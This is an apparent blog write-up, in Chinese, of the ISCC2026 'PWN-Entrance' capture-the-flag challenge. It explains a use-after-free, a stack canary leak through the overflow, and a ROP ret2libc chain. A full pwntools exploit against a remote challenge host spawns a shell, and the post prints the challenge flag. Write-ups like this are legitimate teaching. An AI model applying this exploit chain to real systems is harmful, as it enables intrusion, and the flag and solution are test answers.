PWN-Entrance

ISCC2026 WriteUp 提交模板

PWN-Entrance

解题思路

1.checksec下

image.png

2.分析函数:
先看main函数

image.png

image.png

image.png

函数fun1和fun2负责access key的处理。

image.png

fun3显然了栈溢出+格式化漏洞。上面检测有canary还是可以打格式化漏洞泄露canary。

image.png

vulfi扫了一下,func2里面有悬空指针。

image.png

有UAF。和pwn1很像
利用思路:

  1. 申请0x48堆,写入hack,然后释放
  2. 再申请0x48的堆,把释放的堆申请回来
  3. 第二次仍然写入hack,走到逻辑最后,设置secret=888
  4. 然后就是进入fun3了。

image.png

fun3里面是栈溢出+格式化漏洞,可以直接泄露canary。
利用思路:

  1. 填充24+1个字节,printf泄露出来
  2. 脚本:
leaked = io.recvuntil(b".congratulate to you", drop=True)
canary = u64(b"\x00" + leaked[25:32])

3.开始梳理利用思路

  1. 先走fun2把secrte改成888
  2. 然后fun3中先泄露canary
  3. 接着打ROP泄露puts@got地址
  4. 返回main函数,再次进入fun3
  5. 直接打ret2libc

值得注意的是,实测后发现远端libc和本地不同,需要泄露后推断出远端libc偏移。

image.png

ISCC{42acc744-0b81-4961-b93e-9ae06033b98e}

Exp

from pwn import *
import os

#============== Global Config =======================
ELFpath = "./attachment-55/entrance"
LIBCpath = "./attachment-55/libc6_2.31-0ubuntu9.17_amd64.so"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10007
NOASLR = False

#=============== Init =======================
context(os="linux", arch="amd64", log_level="info")
if LOCAL:
    io = process([ELFpath], env={"LD_PRELOAD": os.path.abspath(LIBCpath)}, aslr=not NOASLR)
else:
    io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath)
libc = ELF(LIBCpath)

#================= Aliases =====================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

#==================== Challenge Constants ====================
POP_RDI = 0x4018F3
RET = 0x40101A

LOCAL_OFFSETS = {
    "puts": libc.sym["puts"],
    "system": libc.sym["system"],
    "binsh": next(libc.search(b"/bin/sh")),
}

REMOTE_OFFSETS = {
    "puts": 0x6F6A0,
    "system": 0x453A0,
    "binsh": 0x18CE57,
}


#================ Tools ====================
def debug(io):
    input()
    gdb.attach(io)


def use_offsets():
    return LOCAL_OFFSETS if LOCAL else REMOTE_OFFSETS


def do_token():
    sla(b"Enter token length:\n", b"72")
    sla(b"Please enter the access key:\n", b"hack")


def leak_canary():
    sda(b"hello\n", b"A" * 25)
    leaked = ru(b".congratulate to you", drop=True)
    canary = u64(b"\x00" + leaked[25:32])
    log.success(f"canary = {hex(canary)}")
    return canary


def stage1():
    do_token()
    canary = leak_canary()

    payload = b"A" * 24
    payload += p64(canary)
    payload += b"B" * 8
    payload += p64(POP_RDI)
    payload += p64(elf.got["puts"])
    payload += p64(elf.plt["puts"])
    payload += p64(elf.sym["main"])

    sd(payload)
    ru(b"It is good to see you \n")
    puts_addr = u64(io.recvline().strip().ljust(8, b"\x00"))
    log.success(f"puts = {hex(puts_addr)}")
    return puts_addr


def stage2(libc_base):
    canary = leak_canary()
    offsets = use_offsets()

    payload = b"A" * 24
    payload += p64(canary)
    payload += b"B" * 8
    payload += p64(RET)
    payload += p64(POP_RDI)
    payload += p64(libc_base + offsets["binsh"])
    payload += p64(libc_base + offsets["system"])

    sd(payload)


def attack():
    offsets = use_offsets()
    puts_addr = stage1()
    libc_base = puts_addr - offsets["puts"]
    log.success(f"libc_base = {hex(libc_base)}")
    stage2(libc_base)


#============ Run ========================
attack()
if not LOCAL:
    sl(b"cat /flag*")
io.interactive()
posted @ 2026-05-19 16:28  MillionMind  阅读(27)  评论(0)    收藏  举报